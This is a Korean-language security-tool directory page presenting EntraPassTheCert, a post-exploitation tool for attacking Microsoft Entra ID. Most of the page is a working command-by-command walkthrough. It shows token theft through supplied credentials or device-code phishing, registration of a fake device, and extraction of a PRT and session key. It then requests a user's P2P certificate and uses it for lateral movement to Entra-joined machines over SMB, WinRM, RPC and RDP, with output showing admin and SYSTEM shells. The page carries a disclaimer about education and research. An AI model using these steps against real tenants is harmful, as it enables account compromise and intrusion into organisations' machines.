Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
EntraPassTheCert — Entra ID의 P2P 인증서를 요청하고 이를 사용하여 원격 Entra 가입 디바이스에 인증하는 도구 | Kitploit
도구/GitHubGitHub/temp43487580/entrapassthecert
Lateral MovementPost-ExploitationPenetration TestingCloud SecurityIdentity & Access Management (IAM)AuthenticationRed Teaming
GitHubtemp43487580/entrapassthecert

EntraPassTheCert

Entra ID의 P2P 인증서를 요청하고 이를 사용하여 원격 Entra 가입 디바이스에 인증하는 도구

저장소 보기
135160년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

EntraPassTheCert

EntraPassTheCert는 공격자가 Entra ID의 사용자 P2P 인증서를 요청하고 이를 사용해 원격 Entra 조인 머신에 인증할 수 있게 해주는 포스트 익스플로잇 도구입니다.

root@kitploit:~
$ python3 entraptc.py -h

usage: entraptc.py [-h] [--debug] {request_p2pcert,smb,rdp,winrm,rpc} ...

post-exploitation tool for requesting p2p cert and authenticate with it

positional arguments:
  {request_p2pcert,smb,rdp,winrm,rpc}
                        Available commands
    request_p2pcert     request P2P cert with PRT and SessionKey
    smb                 SMB to Entra joinned machine with P2P cert
    rdp                 RDP to Entra joinned machine with P2P cert
    winrm               WinRM to Entra joinned machine with P2P cert
    rpc                 RPC to Entra joinned machine with P2P cert

options:
  -h, --help            show this help message and exit
  --debug               debug option

이 코드는 기존의 훌륭한 도구들을 기반으로 제작되었습니다.

  • impacket
  • ROADTools
  • AADInternals
  • pywinrm
  • aardwolf

이 도구는 Troopers 2025에서 발표되었습니다:

기기 간 이동: Pass-the-Certificate 공격을 통한 횡적 이동 확장

사용법

P2P 인증서 요청

먼저, 대상 디바이스에 로컬 관리자 액세스 권한이 있는 계정의 자격 증명으로 필수 Microsoft Entra 토큰을 획득합니다.

root@kitploit:~
$ roadtx gettokens -r devicereg -c 29d9ed98-a469-4536-ade2-f981bc1d605e -u globaladmin@***.onmicrosoft.com -p $PASSWORD
Requesting token for resource urn:ms-drs:enterpriseregistration.windows.net
Tokens were written to .roadtools_auth

자격 증명이 없다면, device-code 피싱을 실행하여 토큰을 획득할 수도 있습니다.

root@kitploit:~
$ roadtx gettokens --device-code -r devicereg -c 29d9ed98-a469-4536-ade2-f981bc1d605e
Requesting token for resource urn:ms-drs:enterpriseregistration.windows.net
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code HGCUCJ6CS to authenticate.
Tokens were written to .roadtools_auth

다음으로, Entra ID에 가짜 디바이스를 등록합니다.

root@kitploit:~
$ roadtx device -a join -n fake_device
Saving private key to fake_device.key
Registering device
Device ID: 0d9d2d66-7343-4bf2-a3dd-377c9e1e6244
Saved device certificate to fake_device.pem

그런 다음, 등록된 디바이스를 사용하여 PRT와 세션 키를 요청합니다.

root@kitploit:~
$ REFRESHTOKEN=(`cat .roadtools_auth | jq -r .refreshToken`) 

$ roadtx prt -c fake_device.pem -k fake_device.key -r $REFRESHTOKEN
Obtained PRT: 1.AT0A7mRQZ....
Obtained session key: fabd04bf017c526fd...
Saved PRT to roadtx.prt

PRT와 세션 키를 받으면 사용자의 P2P 인증서를 요청할 수 있습니다.

root@kitploit:~
$ PRT=(`cat roadtx.prt | jq -r .refresh_token`)

$ SESSIONKEY=(`cat roadtx.prt | jq -r .session_key`)

$ python3 entraptc.py request_p2pcert --prt $PRT --sessionkey $SESSIONKEY
[*] requesting P2P cert...
[+] successfully acquired P2P cert!
[*] here is your p2p cert pfx : p2pcert.pfx (pw: password)

P2P 인증서 전달

P2P 인증서를 사용하여 Entra 조인 머신에 다음과 같이 인증할 수 있습니다.

  • SMB
root@kitploit:~
$ python3 entraptc.py smb --target 192.168.153.133 --pfx p2pcert.pfx      
[*] connecting to 192.168.153.133 via SMB...
[+] sucessfully logged-on to the system!
Type help for list of commands
# shares
ADMIN$
C$
IPC$
# use C$
# ls
drw-rw-rw-          0  Fri May 30 15:52:50 2025 $Recycle.Bin
drw-rw-rw-          0  Sat Apr 19 01:54:46 2025 Documents and Settings
-rw-rw-rw-      12288  Sun Jun 15 10:45:59 2025 DumpStack.log.tmp
drw-rw-rw-          0  Fri May 30 09:06:09 2025 inetpub
-rw-rw-rw-  738197504  Sun Jun 15 10:45:58 2025 pagefile.sys
drw-rw-rw-          0  Sat Apr 19 02:49:28 2025 PerfLogs
drw-rw-rw-          0  Tue Jun 10 14:58:44 2025 Program Files
drw-rw-rw-          0  Tue May 27 15:59:56 2025 Program Files (x86)
drw-rw-rw-          0  Tue Jun 10 14:54:46 2025 ProgramData
drw-rw-rw-          0  Sat Apr 19 01:53:41 2025 Recovery
-rw-rw-rw-   16777216  Sun Jun 15 10:45:59 2025 swapfile.sys
drw-rw-rw-          0  Fri May 30 09:39:44 2025 System Volume Information
drw-rw-rw-          0  Fri May 30 15:52:23 2025 Users
drw-rw-rw-          0  Wed Jun 11 09:30:27 2025 Windows
  • WinRM
root@kitploit:~
$ python3 entraptc.py winrm --target 192.168.153.133 --pfx p2pcert.pfx
[*] connecting to 192.168.153.133 via WinRM...
[+] sucessfully logged-on to the system!

C:\Users\admin> whoami
azuread\admin
  • RPC
root@kitploit:~
$ python3 entraptc.py rpc --target 192.168.153.133 --pfx p2pcert.pfx                                                                   

[*] connecting to 192.168.153.133 via RPC...
[+] sucessfully logged-on to the system!

C:\Windows\System32>whoami
nt authority\system
  • RDP
    • 계정의 자격 증명을 지정해야 합니다.
root@kitploit:~
$ python3 entraptc.py rdp --username globaladmin@***.onmicrosoft.com --password $PASSWORD --target 192.168.153.133 --pfx p2pcert.pfx

참고 사항

  • 대상 머신은 Entra 조인 머신이어야 하며, 하이브리드 Entra 조인 또는 Entra 등록(registered) 머신이 아니어야 합니다.
  • Windows 11/10 머신에서 테스트되었지만 Windows 서버에서는 테스트되지 않았습니다.

면책 조항

이 프로젝트는 교육 및 연구 목적으로만 제공됩니다.
보안 전문가, 연구자, 학생들이 잠재적인 공격 벡터를 이해하고 방어 조치를 개선하는 데 도움을 주기 위한 것입니다.

참고 자료

https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597

도구 다운로드